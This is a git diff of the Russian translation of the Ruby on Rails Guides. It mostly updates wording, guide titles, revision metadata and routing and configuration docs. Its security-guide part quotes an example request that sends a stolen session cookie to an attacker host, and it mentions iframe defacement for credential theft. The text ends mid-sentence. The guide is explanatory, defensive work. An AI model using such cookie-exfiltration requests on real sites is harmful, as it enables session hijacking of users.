`true`. -* `javascript_engine` конфигурирует используемый движок (например, coffee) при генерации ассетов. По умолчанию `js`. +* `javascript_engine` конфигурирует используемый движок (например, coffee) при генерации ассетов. По умолчанию `:js`. * `orm` определяет используемую orm. По умолчанию `false` и используется Active Record. @@ -341,6 +341,10 @@ config.middleware.delete Rack::MethodOverride * `config.active_record.schema_migrations_table_name` позволяет установить строку, которая будет использоваться как имя таблицы для миграций схемы. +* `config.active_record.internal_metadata_table_name` позволяет установить строку, которая будет использоваться как имя таблицы для внутренних метаданных. + +* `config.active_record.protected_environments` позволяет установить массив имен сред, где деструктивные экшны должны быть запрещены. + * `config.active_record.pluralize_table_names` определяет, должен Rails искать имена таблиц базы данных в единственном или множественном числе. Если установлено `true` (по умолчанию), то класс Customer будет использовать таблицу `customers`. Если установить `false`, то класс Customers будет использовать таблицу `customer`. * `config.active_record.default_timezone` определяет, использовать `Time.local` (если установлено `:local`) или `Time.utc` (если установлено `:utc`) для считывания даты и времени из базы данных. По умолчанию `:utc`. @@ -394,7 +398,7 @@ config.middleware.delete Rack::MethodOverride Дампер схемы добавляет дополнительную конфигурационную опцию: -* `ActiveRecord::SchemaDumper.ignore_tables` принимает массив таблиц, которые _не_ должны быть включены в любой генерируемый файл схемы. Эта настройка будет проигнорирована в любом случае, кроме `ActiveRecord::Base.schema_format == :ruby`. +* `ActiveRecord::SchemaDumper.ignore_tables` принимает массив таблиц, которые _не_ должны быть включены в любой генерируемый файл схемы. ### Конфигурирование Action Controller @@ -482,7 +486,7 @@ config.middleware.delete Rack::MethodOverride * `config.action_dispatch.cookies_rotations` позволяет чередовать секреты, шифры и хэш-функции для зашифрованных и подписанных куки. -* `config.action_dispatch.perform_deep_munge` конфигурирует, должен ли применяться метод `deep_munge` на параметрах. Подробнее смотрите в [Руководстве по безопасности](/ruby-on-rails-security-guide#unsafe-query-generation). По умолчанию `true`. +* `config.action_dispatch.perform_deep_munge` конфигурирует, должен ли применяться метод `deep_munge` на параметрах. Подробнее смотрите в руководстве [Безопасность приложений на Rails](/ruby-on-rails-security-guide#unsafe-query-generation). По умолчанию `true`. * `config.action_dispatch.rescue_responses` конфигурирует, какие исключения назначаются статусу HTTP. Он принимает хэш и можно указать пары исключение/статус. По умолчанию он определен как: @@ -518,6 +522,8 @@ config.middleware.delete Rack::MethodOverride `config.action_view` включает несколько конфигурационных настроек: +* `config.action_view.cache_template_loading` контролирует, будут ли шаблоны перезагружены при каждом запросе. Значение по умолчанию устанавливается для `config.cache_classes`. + * `config.action_view.field_error_proc` предоставляет генератор HTML для отображения ошибок, приходящих от Active Model. По умолчанию: ```ruby @@ -638,6 +644,8 @@ config.middleware.delete Rack::MethodOverride * `config.active_support.time_precision` устанавливает точность значений времени, кодируемого в JSON. По умолчанию `3`. +* `config.active_support.use_sha1_digests` указывает, следует ли использовать SHA-1 вместо MD5 для генерации дайджестов для неконфиденциальных (non-sensitive) данных, таких как заголовок ETag. По умолчанию false. + * `ActiveSupport::Logger.silencer` устанавливают `false`, чтобы отключить возможность silence logging в блоке. По умолчанию `true`. * `ActiveSupport::Cache::Store.logger` определяет логгер, используемый в операциях хранения кэша. diff --git a/source/contributing_to_ruby_on_rails.md b/source/contributing_to_ruby_on_rails.md index 658d428a..ef5011b0 100644 --- a/source/contributing_to_ruby_on_rails.md +++ b/source/contributing_to_ruby_on_rails.md @@ -63,7 +63,9 @@ WARNING: Пожалуйста, не сообщайте об уязвимостя Помощь в разрешении существующих проблем ---------------------------------------- -В качестве следующего шага после сообщения о проблемах, вы можете помочь основной команде разрешить существующие проблемы. Если вы посмотрите на [список проблем](https://github.com/rails/rails/issues) в GitHub Issues, вы обнаружите множество проблем, требующих сейчас внимания. Что вы можете с ними сделать? Фактически, немного: +В качестве следующего шага после сообщения о проблемах, вы можете помочь основной команде разрешить существующие проблемы, предоставив обратную связь о них. Если вы новичок в разработке ядра Rails, это отличный способ сделать первые шаги, познакомиться с кодовой базой и процессами. + +Если посмотреть на [список проблем](https://github.com/rails/rails/issues) в GitHub Issues, можно обнаружить множество проблем, требующих внимания прямо сейчас. Что можно с ними сделать? Фактически, немного: ### Подтвердить сообщение о баге @@ -112,7 +114,7 @@ $ git pull JohnSmith orange Для этого откройте пул-реквест в [Rails](https://github.com/rails/rails) на GitHub. -При работе с документацией принимайте во внимание [рекомендации по документированию API](/api_documentation_guidelines) и [рекомендации для руководств по Ruby on Rails](/ruby_on_rails_guides_guidelines). +При работе с документацией принимайте во внимание [Рекомендации по документированию API](/api_documentation_guidelines) и [Рекомендации для руководств по Ruby on Rails](/ruby_on_rails_guides_guidelines). NOTE: Чтобы помочь нашим серверам CI, следует добавлять [ci skip] в сообщения вашего коммита в документацию, чтобы они игнорировали этот коммит. Пожалуйста, используйте его для коммитов, содержащих только изменения документации. @@ -166,7 +168,7 @@ NOTE: Эти инструкции для Rails > 4. Гем Redcarpet не раб #### Сложный способ -В случае, если вы не можете использовать Rails development box, смотрите [другое руководство](/development_dependencies_install). +В случае, если вы не можете использовать Rails development box, смотрите руководство [Установка зависимостей для разработки](/development_dependencies_install). ### Клонирование репозитория Rails diff --git a/source/engines.md b/source/engines.md index 98daf65c..402163d4 100644 --- a/source/engines.md +++ b/source/engines.md @@ -1107,12 +1107,12 @@ ActiveSupport.on_load(:active_record) { self.include_root_in_json = true } # sel Это доступные хуки для настройки. Они не подключаются к какому-либо конкретному фреймворку, вместо этого они запускаются в контексте всего приложения. -| Хук | Случаи применения | -| ---------------------- | ------------------------------------------------------------------------------------- | -| `before_configuration` | Первый настраиваемый блок для запуска. Вызывается до запуска любых инициализаторов. | -| `before_initialize` | Второй настраиваемый блок для запуска. Вызывается перед инициализацией фреймворков. | -| `before_eager_load` | Третий настраиваемый блок для запуска. Не запускается, если для `config.cache_classes` установлено значение false. | -| `after_initialize` | Последний настраиваемый блок для запуска. Вызывается после инициализации фреймворков. | +| Хук | Случаи применения | +| ---------------------- | --------------------------------------------------------------------------------------------------------------- | +| `before_configuration` | Первый настраиваемый блок для запуска. Вызывается до запуска любых инициализаторов. | +| `before_initialize` | Второй настраиваемый блок для запуска. Вызывается перед инициализацией фреймворков. | +| `before_eager_load` | Третий настраиваемый блок для запуска. Не запускается, если для `config.eager_load` установлено значение false. | +| `after_initialize` | Последний настраиваемый блок для запуска. Вызывается после инициализации фреймворков. | ### Пример diff --git a/source/form_helpers.md b/source/form_helpers.md index f66dbbc5..2334af8a 100644 --- a/source/form_helpers.md +++ b/source/form_helpers.md @@ -1,5 +1,5 @@ -Хелперы форм -============ +Хелперы форм в Action View +========================== Формы в веб-приложениях - это основной интерфейс для пользовательского ввода. Однако, разметка форм может быстро стать нудной в написании и поддержке из-за необходимости обрабатывать имена элементов управления формы и их бесчисленные атрибуты. Rails устраняет эту сложность, предоставляя хелперы вьюх для генерации разметки форм. Однако, поскольку эти хелперы имеют разные принципы использования, разработчикам нужно знать различия между похожими методами хелперов, прежде чем начать их использовать. @@ -38,7 +38,7 @@ NOTE: Это руководство не является подробной д Можно увидеть, что HTML содержит элемент `input` с типом `hidden`. Этот `input` важен, поскольку без него форма не может быть успешно отправлена. Скрытый элемент input с атрибутом name `utf8` обеспечивает, чтобы браузер правильно относился к кодировке вашей формы, он генерируется для всех форм, у которых action равен "GET" или "POST". -Второй элемент input с именем `authenticity_token` является особенностью безопасности Rails, называемой **защитой от подделки межсайтовых запросов**, и хелперы форм генерируют его для каждой формы, у которых action не "GET" (при условии, что эта особенность безопасности включена). Подробнее об этом можно прочитать в [Руководстве Ruby On Rails по безопасности](/ruby-on-rails-security-guide#cross-site-request-forgery-csrf). +Второй элемент input с именем `authenticity_token` является особенностью безопасности Rails, называемой **защитой от подделки межсайтовых запросов**, и хелперы форм генерируют его для каждой формы, у которых action не "GET" (при условии, что эта особенность безопасности включена). Подробнее об этом можно прочитать в руководстве [Безопасность приложений на Rails](/ruby-on-rails-security-guide#cross-site-request-forgery-csrf). ### Характерная форма поиска @@ -192,7 +192,7 @@ NOTE: Всегда используйте метки (labels) для чекбо IMPORTANT: Поля поиска, ввода телефона, даты, времени, цвета, даты-времени, локальных даты-времени, месяца, недели, url, email, числовые и интервалов - это элементы управления HTML5. Если необходимо, чтобы у вашего приложения была совместимость со старыми браузерами, вам необходим HTML5 polyfill (предоставляемый с помощью CSS и/или JavaScript). Хотя в таких решениях [нет недостатка](https://github.com/Modernizr/Modernizr/wiki/HTML5-Cross-Browser-Polyfills), популярным инструментом на сегодняшний момент является [Modernizr](http://www.modernizr.com/), предоставляющий простой способ добавить функциональность, основанной на обнаружении установленных особенностей HTML5. -TIP: Если используются поля для ввода пароля (для любых целей), вы можете настроить свое приложение для предотвращения появления их значений в логах приложения. Это можно изучить в [Руководстве Ruby On Rails по безопасности](/ruby-on-rails-security-guide). +TIP: Если используются поля для ввода пароля (для любых целей), вы можете настроить свое приложение для предотвращения появления их значений в логах приложения. Это можно изучить в руководстве [Безопасность приложений на Rails](/ruby-on-rails-security-guide). Работаем с объектами модели --------------------------- diff --git a/source/generators.md b/source/generators.md index 8998c136..4190bcc0 100644 --- a/source/generators.md +++ b/source/generators.md @@ -414,7 +414,7 @@ $ bin/rails generate scaffold Comment body:text Шаблоны приложения ------------------ -Теперь, когда вы узнали, как генераторы используются _внутри_ приложения, знаете ли вы, что они используются и для _генерации_ приложения тоже? Этот тип генератора называют "template". Далее идет краткий обзор Templates API. Подробную информацию смотрите в [руководстве по шаблонам приложения Rails](/rails-application-templates). +Теперь, когда вы узнали, как генераторы используются _внутри_ приложения, знаете ли вы, что они используются и для _генерации_ приложения тоже? Этот тип генератора называют "template". Далее идет краткий обзор Templates API. Подробную информацию смотрите в руководстве [Шаблоны приложения на Rails](/rails-application-templates). ```ruby gem "rspec-rails", group: "test" diff --git a/source/getting_started.md b/source/getting_started.md index e823b687..fafb249c 100644 --- a/source/getting_started.md +++ b/source/getting_started.md @@ -1560,12 +1560,12 @@ class CommentsController < ApplicationController ![Простой вызов аутентификации HTTP](/images/getting_started/challenge.png) -Также для приложений Rails доступны иные методы аутентификации. Двумя популярными аддонами для Rails, среди прочих, являются [Devise](https://github.com/plataformatec/devise) +Также для приложений на Rails доступны иные методы аутентификации. Двумя популярными аддонами для Rails, среди прочих, являются [Devise](https://github.com/plataformatec/devise) и [Authlogic](https://github.com/binarylogic/authlogic). ### Прочие мысли о безопасности -Безопасность, особенно в веб-приложениях, это обширная и детализированная область. Безопасность вашего приложения Rails раскрывается более детально в [Руководстве по безопасности Ruby on Rails](/ruby-on-rails-security-guide). +Безопасность, особенно в веб-приложениях, это обширная и детализированная область. Безопасность вашего приложения Rails раскрывается более детально в руководстве [Безопасность приложений на Rails](/ruby-on-rails-security-guide). Что дальше? ----------- diff --git a/source/index.md b/source/index.md index a9cef96f..4c5b17f2 100644 --- a/source/index.md +++ b/source/index.md @@ -37,7 +37,7 @@ Ruby on Rails — это веб-фреймворк с открытым кодо - [Обзор Action View](/action-view-overview) := Это руководство представляет введение в Action View и знакомит с некоторыми из многих хелперов вьюх. - [Макеты и рендеринг в Rails](/layouts-and-rendering-in-rails) := Это руководство раскрывает основы возможностей макетов Action Controller и Action View, включая рендеринг и перенаправление, использование содержимого для блоков и работу с частичными шаблонами. -- [Хелперы форм Action View](/rails-form-helpers) := Руководство по использованию встроенных хелперов форм. +- [Хелперы форм в Action View](/rails-form-helpers) := Руководство по использованию встроенных хелперов форм. ## Контроллеры @@ -51,11 +51,12 @@ Ruby on Rails — это веб-фреймворк с открытым кодо - [Rails Internationalization API](/rails-internationalization-i18n-api) := Это руководство раскрывает, как добавить интернационализацию в ваше приложение. Ваше приложение будет способно переводить содержимое на разные языки, изменять правила образования множественного числа, использовать правильные форматы дат для каждой страны и так далее. - [Основы Action Mailer](/action-mailer-basics) := Это руководство описывает, как использовать Action Mailer для отправки и получения электронной почты. - [Основы Active Job](/active_job_basics) := Это руководство даст вам все, что нужно, чтобы начать создавать, ставить в очередь и запускать фоновые задания. +- [Обзор Active Storage](/active_storage_overview) := В этом руководстве описывается, как прикреплять файлы к моделям Active Record. - [Тестирование приложений на Rails](/a-guide-to-testing-rails-applications) := Это достаточно полное руководство по осуществлению юнит- и функциональных тестов в Rails. Оно раскрывает все от “Что такое тест?” до тестирования API. Наслаждайтесь. - [Безопасность приложений на Rails](/ruby-on-rails-security-guide) := Это руководство описывает общие проблемы безопасности в приложениях веб, и как избежать их в Rails. - [Отладка приложений на Rails](/debugging-rails-applications) := Это руководство описывает, как отлаживать приложения на Rails. Оно раскрывает различные способы достижения этого, и как понять что произошло "за кулисами" вашего кода. - [Конфигурирование приложений на Rails](/configuring-rails-applications) := Это руководство раскрывает основные конфигурационые настройки для приложения на Rails. -- [Командная строка Rails](/a-guide-to-the-rails-command-line) := Это руководство раскроет инструменты командной строки, предоставленные Rails. +- [Командная строка в Rails](/a-guide-to-the-rails-command-line) := Это руководство раскроет инструменты командной строки, предоставленные Rails. - [Кэширование с Rails](/caching-with-rails-an-overview) := Различные техники кэширования, предоставленные Rails. - [Asset Pipeline](/asset-pipeline) := Это руководство документирует файлопровод (asset pipeline) - [Работа с JavaScript в Rails](/working-with-javascript-in-rails) := Это руководство раскрывает встроенный в Rails функционал Ajax/JavaScript. @@ -71,7 +72,7 @@ Ruby on Rails — это веб-фреймворк с открытым кодо - [Создание и настройка генераторов Rails](/generators) := Это руководство раскрывает процесс добавления совершенно нового генератора для вашего расширения или представления альтернативного элемента для встроенного в Rails генератора (такого как представление альтернативных тестовых заглушек для генератора скаффолда). - [Треды и выполнение кода в Rails](/threading_and_code_execution) := В этом руководстве описываются необходимые требования и инструменты, доступные при работе напрямую с конкурентностью в приложении Rails. - [Использование Rails для API-приложений](/api-app) := Это руководство раскрывает создание приложения Rails, отдающего ресурсы JSON клиентам API **или** клиентскому фреймворку. -- [Шаблоны приложения Rails](/rails-application-templates) := Это руководство раскрывает создание и использование шаблонов приложений Rails. +- [Шаблоны приложения на Rails](/rails-application-templates) := Это руководство раскрывает создание и использование шаблонов приложений на Rails. ## Вносим вклад в Ruby on Rails @@ -83,7 +84,7 @@ Ruby on Rails — это веб-фреймворк с открытым кодо ## Заметки о релизах -- [Руководство по обновлению Ruby on Rails](/upgrading-ruby-on-rails) := Это руководство поможет обновить приложения на последние версии Ruby on Rails. +- [Апгрейд Ruby on Rails](/upgrading-ruby-on-rails) := Это руководство поможет произвести апгрейд приложения до последних версий Ruby on Rails. - [Заметки о релизе Ruby on Rails 5.1](/5_1_release_notes) := Заметки о релизе Rails 5.1 - [Заметки о релизе Ruby on Rails 5.0](/5_0_release_notes) := Заметки о релизе Rails 5.0 - [Заметки о релизе Ruby on Rails 4.2](/4_2_release_notes) := Заметки о релизе Rails 4.2 diff --git a/source/index.yml b/source/index.yml index 791c7bd4..21ce4ed6 100644 --- a/source/index.yml +++ b/source/index.yml @@ -21,20 +21,20 @@ pages: - title: Основы Active Record path: active-record-basics file: active_record_basics.md - revision: 64b45b2fe1b9f64517f88c3b69c851d9c60ad77c - date: 18/10/2017 + revision: 4e8082f5fadac475dd8abfe592931fbb9be39bef + date: 19/12/2017 - title: Миграции базы данных Rails path: rails-database-migrations file: active_record_migrations.md - revision: bf48e90e6925eea5ba74a09988d2b20dd553c845 - date: 23/08/2017 + revision: 95b6a198ef4a94dc060faa70284ffdfae51006f6 + date: 18/11/2017 - title: Валидации Active Record path: active-record-validations file: active_record_validations.md - revision: 8779e33a4bd87f2778ca74ab168cbf5b9f5032d0 - date: 17/08/2017 + revision: 0ce768168610e97d4a726aa77aae748777e69465 + date: 09/01/2018 - title: Колбэки Active Record path: active-record-callbacks @@ -45,8 +45,8 @@ pages: - title: Связи Active Record path: active-record-associations file: association_basics.md - revision: 8c2ca4d4fc0084376a917429f9ad389f1e209909 - date: 20/09/2017 + revision: 1ac67a5ed60040755c96b0bc8a4ec7f44d581765 + date: 19/01/2018 - title: Интерфейс запросов Active Record path: active-record-query-interface @@ -69,20 +69,20 @@ pages: - title: Обзор Action View path: action-view-overview file: action_view_overview.md - revision: b6baf0c88411824ce99f1ad4b9de64fa37ad96ea - date: 30/11/2017 + revision: 181a9fdafe1fef515db3dbd3d580e55e283afc9a + date: 26/12/2017 - title: Макеты и рендеринг в Rails path: layouts-and-rendering-in-rails file: layouts_and_rendering.md - revision: b01cc6663f91e825ffdf862a761e7bfc3d2ffd85 - date: 24/11/2017 + revision: 264f4a6b1456d8ab66bd444a1f8d96ebd44d17f3 + date: 26/12/2017 - - title: Хелперы форм Rails + - title: Хелперы форм в Action View path: rails-form-helpers file: form_helpers.md - revision: 99f6722e86c5451e1334db31a18ae2cbaccb551d - date: 02/12/2017 + revision: 53593a66362550367561507e12576a876a0cbb6c + date: 13/12/2017 - title: Обзор Action Controller path: action-controller-overview @@ -93,20 +93,20 @@ pages: - title: Роутинг в Rails path: rails-routing file: routing.md - revision: b1638a8cfa1cddeb9be27b1e34a3cce946204fa4 - date: 06/08/2017 + revision: 3dc774f37196634c0ead612fae52b37aa8a5838c + date: 11/12/2017 - title: Расширения ядра Active Support path: active-support-core-extensions file: active_support_core_extensions.md - revision: 97ee3dc788b0f596e182313dd32cb876e01fc2e9 - date: 16/09/2017 + revision: e4a6a23aa77185127ce9609777820fab14a689bb + date: 15/12/2017 - title: Инструметарий Active Support path: active-support-instrumentation file: active_support_instrumentation.md - revision: 92a19f76719ec67d469b58dc05b6ebf6a184c6b4 - date: 14/10/2017 + revision: 19e9e1492e22fde731bf41276fbd2c7c54e51f7a + date: 11/12/2017 - title: API интернационализации Rails (I18n) path: rails-internationalization-i18n-api @@ -117,8 +117,8 @@ pages: - title: Основы Action Mailer path: action-mailer-basics file: action_mailer_basics.md - revision: abd4fd43692cd883068ad27f620fd4c00e546f91 - date: 24/09/2017 + revision: 0ce768168610e97d4a726aa77aae748777e69465 + date: 09/01/2018 - title: Основы Active Job path: active_job_basics @@ -126,17 +126,17 @@ pages: revision: 9291a813694b4b443557c282ba1fbb0c8b909d27 date: 18/09/2017 - - title: Руководство по тестированию приложений на Rails + - title: Тестирование приложений на Rails path: a-guide-to-testing-rails-applications file: testing.md - revision: 82b974813b28748e5affcff1d8c4ad60ab2971be - date: 07/12/2017 + revision: 4f9f68e7a6178ac8462f85469ddd577678b0b412 + date: 13/01/2018 - - title: Руководство Ruby On Rails по безопасности + - title: Безопасность приложений на Rails path: ruby-on-rails-security-guide file: security.md - revision: eb6d7d5aa0522ab8d3d6e32d91d8ac645883ee3c - date: 25/11/2017 + revision: 0ce768168610e97d4a726aa77aae748777e69465 + date: 09/01/2018 - title: Отладка приложений на Rails path: debugging-rails-applications @@ -147,10 +147,10 @@ pages: - title: Конфигурирование приложений на Rails path: configuring-rails-applications file: configuring.md - revision: 96d17ecba8e374cd1ce4db0cee8c0dca057e3ff7 - date: 30/11/2017 + revision: a2aa18f897dbcd503ed3b782258a44b21ca752bd + date: 18/01/2018 - - title: Руководство по командной строке Rails + - title: Командная строка в Rails path: a-guide-to-the-rails-command-line file: command_line.md revision: 07ec810ac0c1425918220921a335ae8a20f82763 @@ -159,8 +159,8 @@ pages: - title: 'Кэширование с Rails: Обзор' path: caching-with-rails-an-overview file: caching_with_rails.md - revision: b6baf0c88411824ce99f1ad4b9de64fa37ad96ea - date: 30/11/2017 + revision: d034f488f9c2d694bcad9950df0310ca869956e0 + date: 08/01/2018 - title: Asset Pipeline path: asset-pipeline @@ -171,14 +171,14 @@ pages: - title: Работа с JavaScript в Rails path: working-with-javascript-in-rails file: working_with_javascript_in_rails.md - revision: b6baf0c88411824ce99f1ad4b9de64fa37ad96ea - date: 30/11/2017 + revision: 0ce768168610e97d4a726aa77aae748777e69465 + date: 09/01/2018 - title: Engine для начинающих path: engines file: engines.md - revision: 092d1af137d6d52349880417923874e17508e608 - date: 26/11/2017 + revision: fdd76b7370a38bc7ac047d424d7b8e7e0a0eaf83 + date: 31/12/2017 - title: Процесс инициализации в Rails path: initialization @@ -195,8 +195,8 @@ pages: - title: Обзор Action Cable path: action-cable-overview file: action_cable_overview.md - revision: d5eb8f23c8543ae3c8cff6aefdbb6bbcf2f28128 - date: 22/11/2017 + revision: 597b941930af87a4bfe9d1cdb05578091eb83735 + date: 15/12/2017 - title: Основы создания плагинов Rails path: plugins @@ -219,14 +219,14 @@ pages: - title: Использование Rails для API-приложений path: api-app file: api_app.md - revision: 1997c9a13730cc82e3c4d42ab2995452cfa21074 - date: 19/11/2017 + revision: 597b941930af87a4bfe9d1cdb05578091eb83735 + date: 15/12/2017 - title: Вносим вклад в Ruby on Rails path: contributing_to_ruby_on_rails file: contributing_to_ruby_on_rails.md - revision: a51c5bb1ab27c802fad9f7976a025dcc7154b7c1 - date: 21/08/2017 + revision: 475a0f887ce4087443fdf7c5f3f066c90fb00126 + date: 17/12/2017 - title: Рекомендации по документированию API path: api_documentation_guidelines @@ -240,19 +240,19 @@ pages: revision: b61a029782fb843eb30bec8f36784717fddc4ba8 date: 12/02/2017 - - title: Рекомендации для руководств по Ruby on Rails + - title: Установка зависимостей для разработки path: development_dependencies_install file: development_dependencies_install.md revision: bf48e90e6925eea5ba74a09988d2b20dd553c845 date: 23/08/2017 - - title: Руководство по обновлению Ruby on Rails + - title: Апгрейд Ruby on Rails path: upgrading-ruby-on-rails file: upgrading_ruby_on_rails.md - revision: b6baf0c88411824ce99f1ad4b9de64fa37ad96ea - date: 30/11/2017 + revision: face13715eab2e5a8be24516ac804ee457c7eed2 + date: 18/01/2018 - - title: Руководство по шаблонам приложения Rails + - title: Шаблоны приложения на Rails path: rails-application-templates file: rails_application_templates.md revision: 40bdbce191ad90dfea43dad51fac5c4726b89392 @@ -261,8 +261,8 @@ pages: - title: Заметки о релизе Ruby on Rails 3.0 path: 3_0_release_notes file: 3_0_release_notes.md - revision: bf48e90e6925eea5ba74a09988d2b20dd553c845 - date: 23/08/2017 + revision: e17b5fd572618fd9ac9257a05103e0b5fad714ab + date: 11/01/2018 - title: Заметки о релизе Ruby on Rails 3.1 path: 3_1_release_notes @@ -303,8 +303,8 @@ pages: - title: Заметки о релизе Ruby on Rails 5.1 path: 5_1_release_notes file: 5_1_release_notes.md - revision: 67550f16129a293a4bff76f4311b6eb552361aa1 - date: 27/10/2017 + revision: ee7fb923d484f1dfe19e10210e7bde0a753ff2f5 + date: 23/12/2017 - title: Политика поддержки (версий) path: maintenance-policy @@ -315,14 +315,14 @@ pages: - title: Треды и выполнение кода в Rails path: threading_and_code_execution file: threading_and_code_execution.md - revision: b5cd7d5b511361062f67ebad45ab38393970fc47 - date: 16/11/2017 + revision: 0ce768168610e97d4a726aa77aae748777e69465 + date: 09/01/2018 - title: Обзор Active Storage path: active_storage_overview file: active_storage_overview.md - revision: 33721a71e39d5a228ae3cd7949fa83198dc3eaa9 - date: 09/01/2018 + revision: 6fb3ac1536d60bc12cf531e83e4060fe1fdf3d87 + date: 17/01/2018 plan: [] diff --git a/source/layouts_and_rendering.md b/source/layouts_and_rendering.md index cdb91671..fde495a3 100644 --- a/source/layouts_and_rendering.md +++ b/source/layouts_and_rendering.md @@ -93,7 +93,7 @@ end <%= link_to "New book", new_book_path %> ``` -NOTE: Фактически рендеринг осуществляется подклассами `ActionView::TemplateHandlers`. Мы не будем углубляться в этот процесс, но важно знать, что расширение файла вьюхи контролирует выбор обработчика шаблона. Начиная с Rails 2, стандартные расширения это `.erb` для ERB (HTML со встроенным Ruby) и `.builder` для Builder (генератор XML). +NOTE: Фактически рендеринг осуществляется вложенными классами модуля [`ActionView::Template::Handlers`](http://api.rubyonrails.org/classes/ActionView/Template/Handlers.html). Мы не будем углубляться в этот процесс, но важно знать, что расширение файла вьюхи контролирует выбор обработчика шаблона. ### Использование `render` diff --git a/source/menu.md b/source/menu.md index d425dfbc..cba31638 100644 --- a/source/menu.md +++ b/source/menu.md @@ -17,7 +17,7 @@ * [Обзор Action View](/action-view-overview) * [Макеты и рендеринг в Rails](/layouts-and-rendering-in-rails) - * [Хелперы форм Action View](/rails-form-helpers) + * [Хелперы форм в Action View](/rails-form-helpers) * **Контроллеры** @@ -31,11 +31,12 @@ * [Rails Internationalization API](/rails-internationalization-i18n-api) * [Основы Action Mailer](/action-mailer-basics) * [Основы Active Job](/active_job_basics) + * [Обзор Active Storage](/active_storage_overview) * [Тестирование приложений на Rails](/a-guide-to-testing-rails-applications) * [Безопасность приложений на Rails](/ruby-on-rails-security-guide) * [Отладка приложений на Rails](/debugging-rails-applications) * [Конфигурирование приложений на Rails](/configuring-rails-applications) - * [Командная строка Rails](/a-guide-to-the-rails-command-line) + * [Командная строка в Rails](/a-guide-to-the-rails-command-line) next_column @@ -56,7 +57,7 @@ next_column * [Создание и настройка генераторов Rails](/generators) * [Треды и выполнение кода в Rails](/threading_and_code_execution) * [Использование Rails для API-приложений](/api-app) - * [Шаблоны приложения Rails](/rails-application-templates) + * [Шаблоны приложения на Rails](/rails-application-templates) * **Вносим вклад в Ruby on Rails** @@ -68,7 +69,7 @@ next_column * **Заметки о релизах** - * [Руководство по обновлению Ruby on Rails](/upgrading-ruby-on-rails) + * [Апгрейд Ruby on Rails](/upgrading-ruby-on-rails) * [Заметки о релизе Ruby on Rails 5.1](/5_1_release_notes) * [Заметки о релизе Ruby on Rails 5.0](/5_0_release_notes) * [Заметки о релизе Ruby on Rails 4.2](/4_2_release_notes) diff --git a/source/plugins.md b/source/plugins.md index bdefe855..0467ae98 100644 --- a/source/plugins.md +++ b/source/plugins.md @@ -3,7 +3,7 @@ Плагин Rails - это либо расширение, либо изменение основного фреймворка. Плагины представляют: -* Способ для разработчиков делиться новыми идеями без затрагивания стабильного кода. +* Способ для разработчиков делиться новыми идеями без затрагивания стабильной кодовой базы. * Сегментную архитектуру, такую, что часть кода может быть исправлена или изменена по своему собственному графику. * Решение для разработчиков ядра приложения, чтобы не включать каждую новую особенность в свой код. diff --git a/source/routing.md b/source/routing.md index 7e92a7e7..97d5d5a6 100644 --- a/source/routing.md +++ b/source/routing.md @@ -633,7 +633,7 @@ match 'photos', to: 'photos#show', via: :all NOTE: Роутинг запросов `GET` и `POST` одновременно в один экшн небезопасен. В основном, следует избегать роутинг всех методов в экшн, если нет веской причины делать так. -NOTE: `GET` в Rails не проверяет токен CSRF. Никогда не пишите в базу данных из `GET` запросов, подробнее о контрмерах CSRF смотрите в [руководстве по безопасности](/ruby-on-rails-security-guide#csrf-countermeasures). +NOTE: `GET` в Rails не проверяет токен CSRF. Никогда не пишите в базу данных из `GET` запросов, подробнее о контрмерах CSRF смотрите в руководстве [Безопасность приложений на Rails](/ruby-on-rails-security-guide#csrf-countermeasures). ### Ограничения сегмента @@ -842,6 +842,49 @@ root to: "home#index" get 'こんにちは', to: 'welcome#index' ``` +### Прямые маршруты + +Можно создавать собственные хелперы URL напрямую. Например: + +```ruby +direct :homepage do + "http://www.rubyonrails.org/" +end + +# >> homepage_url +# => "http://www.rubyonrails.org/" +``` + +Возвращаемое значение блока должно быть валидным аргументом для метода `url_for`. Таким образом, можно передать валидный строковый URL, хэш, массив, экземпляр Active Model или класс Active Model. + +```ruby +direct :commentable do |model| + [ model, anchor: model.dom_id ] +end + +direct :main do + { controller: 'pages', action: 'index', subdomain: 'www' } +end +``` + +### Using `resolve` + +Метод `resolve` позволяет настраивать полиморфное сопоставление моделей. Например: + +``` ruby +resource :basket + +resolve("Basket") { [:basket] } +``` + +``` erb +<%= form_for @basket do |form| %> + +<% end %> +``` + +Это сгенерирует URL в единственном числе `/basket` вместо обычного `/baskets/:id`. + Настройка ресурсных маршрутов ----------------------------- diff --git a/source/ruby_on_rails_guides_guidelines.md b/source/ruby_on_rails_guides_guidelines.md index a1dac297..a1511462 100644 --- a/source/ruby_on_rails_guides_guidelines.md +++ b/source/ruby_on_rails_guides_guidelines.md @@ -1,5 +1,5 @@ Рекомендации для руководств по Ruby on Rails -========================================== +============================================ Это руководство документирует рекомендации по написанию руководств по Ruby on Rails. Это руководство следует самому себе в изящном цикле, являясь примером для самого себя. diff --git a/source/security.md b/source/security.md index 1bc971f8..718cfe04 100644 --- a/source/security.md +++ b/source/security.md @@ -1,5 +1,5 @@ -Руководство Ruby On Rails по безопасности -========================================= +Безопасность приложений на Rails +================================ Это руководство описывает общие проблемы безопасности в приложениях веб, и как избежать их с помощью Rails. @@ -264,7 +264,7 @@ _Запросы POST также могут быть посланы автома Note: Мы не можем отличить домен тега ` @@ -720,7 +720,7 @@ GET http://www.attacker.com/_app_session=836c1c25278e5b321d6bea4f19cb57e2 ##### Искажение -Исказив веб-страницу, злоумышленник сможет сделать многое, например, предоставить ложную информацию или завлечь жертву на сайт злоумышленника, чтобы украсть куки, регистрационные данные или другую деликатную информацию. Наиболее популярным способом является включение кода с внешних источников с помощью iframe: +Исказив веб-страницу, злоумышленник сможет сделать многое, например, предоставить ложную информацию или завлечь жертву на сайт злоумышленника, чтобы украсть куки, учетные данные для входа или другие чувствительные данные. Наиболее популярным способом является включение кода с внешних источников с помощью iframe: ```html @@ -789,11 +789,11 @@ _Чтобы понять сегодняшние атаки на веб-прил В декабре 2006 года 34,000 имени фактических пользователей и их пароли были похищены во время [фишинговой атаки на MySpace](http://news.netcraft.com/archives/2006/10/27/myspace_accounts_compromised_by_phishers.html). Идеей атаки было создание профиля, названного "login_home_index_html", поэтому URL выглядел очень правдоподобно. Специально созданный HTML и CSS использовался, чтобы скрыть настоящий контент MySpace и вместо этого отразить собственную форму входа. -### CSS инъекция +### CSS-инъекция -INFO: _CSS инъекция - это фактически JavaScript инъекция, поскольку некоторые браузеры (IE, некоторые версии Safari и другие) разрешают JavaScript в CSS. Подумайте дважды о допустимости пользовательского CSS в вашем веб-приложении._ +INFO: _CSS-инъекция - это фактически JavaScript-инъекция, поскольку некоторые браузеры (IE, некоторые версии 